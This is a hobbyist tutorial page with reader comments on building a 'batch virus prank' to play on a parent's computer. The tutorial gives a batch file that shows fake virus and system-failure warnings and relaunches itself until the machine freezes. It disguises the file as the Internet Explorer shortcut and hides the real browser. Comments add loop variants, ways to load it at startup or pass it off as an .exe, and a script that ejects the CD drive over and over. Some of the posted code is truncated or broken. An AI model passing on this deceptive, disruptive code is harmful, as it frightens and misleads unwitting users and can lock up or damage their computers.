Introduction: Basic Batch Virus Prank

Picture of Basic Batch Virus Prank

Very funny thing to do to a parents computer. Harmless in every way. All you must do is restart the computer and delete the .BAT file and everything will go back to normal.

Step 1: Writing the Batch File

Picture of Writing the Batch File

1) Go Start and open up a basic text document. I like to use notepad because it is quick to load and easy to use.

2) In your text document cut and paste this:

@echo off
echo System check
echo -
echo Power - FAILED
echo -
echo -
echo Norton - FAILED
echo -
echo Breach of IP adress
echo -
echo Firewall - FAILED
echo -
echo Virus attaining: ****-****-****-8894
echo -
echo Hard drive must be erased and rebooted to resume windows.
echo -
echo -
echo Starting to reboot hardrive.
echo -
echo Do not attempt to quit.
echo -
echo Restart after 10 minutes approximately.
start Internet Explorer.bat

3) Now click "File" then "Save as..." then save it as "Internet Explorer.BAT" onto the Desktop

I will explain to you what each of these symbols mean.

@echo off : This tells the file to hide what its doing and display what we tell it to.

echo : This tells the file to display something. It displays whatever you write after it.

PAUSE : This is what makes that sign come up that says "Press any key to continue" which literally pauses the file.

start a.bat
GOTO START : This tells the computer to run the file over and over and over again without stopping which causes the computer to freeze since it gets opened so much.

Step 2: Creating a Shortcut

Picture of Creating a Shortcut

4) Now place this file into "My Documents" to keep it hidden.

5) Once it is in "My Documents" right click it and click "Create Shortcut"

Step 3: Saving, Changing, and Executing

Picture of Saving, Changing, and Executing

6) Once you have created to shortcut go to it and right click it to open the menu and click on "Properties"

7) This will open up a window. At the top of this window are tabs. Click on the "Shortcut" tab.

8) Now click on at the bottom of the window a button that says "Change Icon"

9) This will open another window. Scroll all the way to your left to find a picture that closely resembles the Internet Explorer icon. Click it and press "OK"

10) Now with the property window still up click on the "Options" tab. In this tab you will find a section that says "Display Options". Now click the circle labeled "Full screen".

11) At the bottom of the "Properties" window click "Apply".

12) Now move your file to the desktop and edit it to delete the "shortcut to" on the name of the file. After that take the current Internet Explorer and move it to "My Documents". If a warning label shows click yes.

P.S. To "deactivate" it just restart the computer. Mind you every time you click it you will have to restart it again so delete it after your first use. P.S.

Footnote: If you can't find the original Internet Explorer you can replace it by going into program files and dragging it to the desktop


morwennaruthturner (author)2017-07-27

Amazing!!me and a friend have been looking at these codes and we have made a code that laggs and opens the cd drive!

RAGE2Sage (author)2017-03-03

you should add timeouts and an auto restart

ScottM272 (author)2016-07-06

Actually using loop with loads of starts ok too

Blake Turner (author)2016-06-02

If you want to harm their computer...

@echo off

echo The Virus Has Been Downloaded

ping localhost -n 5 >nul


echo It can't be stopped!

ping localhost -n 2 >nul



goto loop


This command will open google forever.



@echo off



goto loop


Is a simpler version of the top one.


Open the CD drive over, and over, and over forever.

Dim ts
Dim strDriveLetter
Dim intDriveLetter
Dim fs 'As Scripting.FileSystemObject
Const CDROM = 4
On Error Resume Next
Set fs = CreateObject("Scripting.FileSystemObject")
strDriveLetter = ""
For intDriveLetter = Asc("A") To Asc("Z")
If fs.GetDrive(Chr(intDriveLetter)).DriveType = CDROM Then
If Err.Number = 0 Then
strDriveLetter = Chr(intDriveLetter)
Exit For
End If
End If
Set oWMP = CreateObject("WMPlayer.OCX.7" )
Set colCDROMs = oWMP.cdromCollection
For d = 0 to colCDROMs.Count - 1
Next 'null

For d = 0 to colCDROMs.Count - 1
Next 'null

set owmp = nothing
set colCDROMs = nothing

S200 made it! (author)2016-05-01

Very good 'ible.

absolute B**** of a thing to stop! :D

If you convert the .bat to a .exe it's better. Nobody will think anything is different if the shortcut is to "Internet Explorer.exe"

(except the people that know the file is supposed to be iexplorer.exe)

AnirudhT1 (author)2015-12-05

And antivirus programs detect it as a potentially harmful program!

AnirudhT1 (author)2015-12-05

Put this in startup folder and your computer will be really screwed up.

ChanC7 (author)2015-11-05

aww yeah!

RaahimF (author)2015-09-08

Awwwww nice best prank evr


Ark22 (author)2009-05-23

This is amazing! I searched about 20, and this was the best. Simple and effective, this gets MY thumbs-up. But... if anything, what happens if you DO "press any key"? Does something actually HAPPEN?

TonyS16 (author)Ark222015-05-03

Because there is no code after it it will just close and stop the cmmands.

If you press a key it will re-open itself over and over again until it causes your computer to crash with lag. Have fun!

mcfly.mcfly.5264 (author)Ark222014-11-10

yeah it starts his selfe again and again and again so you cant close it

grumpyfam25 (author)Ark222011-06-11

nothing happens thats just a message

xenongamer (author)2008-08-02

so it's a fork bomb and a fake virus? 2 hits! however, if you wanted to not do the slow part, you could write something to close the bat as the second one opens.

Well, the actual purpose of this .bat file is mainly to mercilessly slow the victim's computer, and the command to close the command prompt is "EXIT," so instead of typing "GOTO START," type "EXIT." This will close the command prompt after each restart, unfortunately, not slowing your victim's computer, and losing its effectiveness. Hope you found this information helpful!

oliabe (author)2013-07-18

(quote1) --> "Harmless in every way."
(quote2) --> "GOTO START : This tells the computer to run the file over and over and over again without stopping which causes the computer to freeze since it gets opened so much."

OMFG Freezing your parents computer is soooooo harmless :P

JosephO1 (author)oliabe2015-02-19

It is harmless. If it hasn't lagged your computer too much, just open up task manager and end the process. Otherwise it's easy to just restart their computer. Considering how well parents take care of their computers, the restart might warrant a good time for the computer to install a few windows updates, if they haven't already done so.

JosephO1 (author)2015-02-19

This is a simple fix without having to restart your computer. If you haven't waited for twenty minutes for the batch file to do some serious lag damage, you could open command prompt within a couple of seconds and shut it down. I can show you guys how this is done, as it can actually prevent real viruses.

Firstly, if you do not know how to open the Task Manager, go to your Start button, usually on the bottom left of your screen, and right click it. There should be a few options, find the RUN option, and click. When is opens up, type 'Task Manager' into the GUI. This should open up task manager.

Second, look around for a process called Windows Command Processor. It should be right there, and you don't need to scroll down (see picture). When you find this, either right click it and select End Task, or left click it and click the delete button on your keyboard.

chevey (author)2012-04-16

is there any way to abort the process once it has started

mcfly.mcfly.5264 (author)chevey2014-11-10

mhhh you have to open task menager and shut down the prozess ........ But if you just didtn write the "goto start " you can just close it

jrose29 (author)chevey2014-01-09

i know you commented a while ago but yes. if you simply close the command window

mcfly.mcfly.5264 (author)2014-11-10

AHAHAHA i know its ahrmles and write it a little cooler ...... but after 20 sec, my anti virus (kaspersky) deleted it because of dangerouse acticity o.O

AlexisC1 (author)2014-11-09

Aye I used this and it sounded off a multiple amount of clicks with in the mother board and shut the motherboard down and now it does not come on at all I have power to the motherboard but can not cut it on I did a hard reset by taking everything including the cmos battery, resetting the motherboard via jumper with also disconnecting the hard drives and ram ....? Lost now

~KnexBuild~ (author)2011-11-26

5 stars

hungyhipo 2 (author)2010-09-29

you can stop it by pushing the x in the corner

aryankhurana (author)2010-09-11

if you want to create a batch virus goto to take a demo of ultimate virus creator. its a very powerfull tool to create virus. i've powered it for every geeky prsn out der.....
and its less than 1mb.
if you are serious about viruses you must visit and download it for free fom der.....

johnny elda (author)2010-08-31

Another cool bit @echo off Title virus detected Color 4c Echo - Echo - Echo - "Title" let's you name the window after you open the "trap" instead of saying internet explorer it says (virus detected) and it does not change the name on the icon. "Color 4c" Go to cmd prompt and type in color mm and it will give you a list of the diff colors you can use 4 is red background and c is light red words (makes it look scary) The extra echo's are for if you want to go to full screen so they can't escape (on my computer it cuts off the top for some reason) but it makes the effect mutch better Just right click on the icon properties>options>click the full screen button. I'm new let me know whatcha tank...

batch master (author)2010-07-12

I once accidentaly started on of my Batch viruses on a friend's parents computer. It was the scarest thing ever!

knex_mepalm (author)2010-02-20

 Lol fail, you should see my on just download pop on enemy's pc and bang, computer goes dead in an hour, more like a system eatr thought. Its at my test subject forum

devicemodder (author)2009-12-04

put this in startup it really screws with the computer

Ark22 (author)2009-05-23

Never mind, I found out. But you can just close the file anyways...

fwjs28 (author)2008-05-26

that virus is a bacteriophage

Pie Ninja (author)fwjs282009-05-19

But the real question is, what virus is it?

fwjs28 (author)Pie Ninja2009-05-19


flymudpie (author)fwjs282008-06-04

the one on the front cover?

fwjs28 (author)flymudpie2008-06-05


flymudpie (author)fwjs282008-06-16

cool man

Hi i figure i have a couple of questions bout the virus batch thing..first one: when u use notebook and type the @echo, start and all that stuff...y do u have to save it as in the desktop, y not just save it as in the MY DOCUMENTS because you are going to transfer the file into the MY DOCUMENTS later on...second: y do you have to create a shortcut for the batch file in MY DOCUMENTS when you could just rename the original batch file into internet explorer and change the icon into internet explorer icon for the original batch file? and THIRD: NOW THIS IS REALLY IMPORTANT: after the virus prank takes effect, HOW DO WE DEACTIVATED OR TURN IT OFF SO THE COMPUTER GOES BACK NORMAL AGAIN? THX!!!! for posting these pictures up, buz its been a long time since i had revenge!!!:) thanks for you time!

2nd question you need to create a shortcut because if you dont you wont be able to change the icon on some computers 3rd question you jsut use the reset button or the on button on the front of your pc/laptop

first question: you answered it yourself.

sypher (author)fwjs282008-08-13

what? I thought that was a prion?

sypher (author)sypher2008-08-14


sgt. frog (author)2009-03-31

tomorro is april fools day it also happens to be the day that the conficker virus activates itself. o man is this gonna be fun hahaha

twenglish1 (author)2008-09-09

it would be much more effective if you spelled "address" right

jespo0o (author)2008-07-17

after it is "triggered" how do you stop it?? (cause if I can't make it stop my parents are gonna take away my pc )

flymudpie (author)jespo0o2008-07-17

Just reboot the computer.

Hi i need help um u typed down @echo and you said you can type down anything after @echo: , so i can write anything after @echo:, such as warning your computer is shutting down OR warning your computer has a virus! and what bout the echo: off? < how bout that? thx!

lordjohnnym (author)2008-08-12

nyce tut but i dont get how you install the firefox icons as everyone of my familly members used it and it can be put into the start menu, of which is good. i tried a more basic, computer switch off batch b4, and they still fool me sometimes.

lordjohnnym (author)2008-08-12

whats with you background p/m about that

About This Instructable




More by flymudpie:How to Meet Girls.How to Land a PlaneComp-ible
Add instructable to: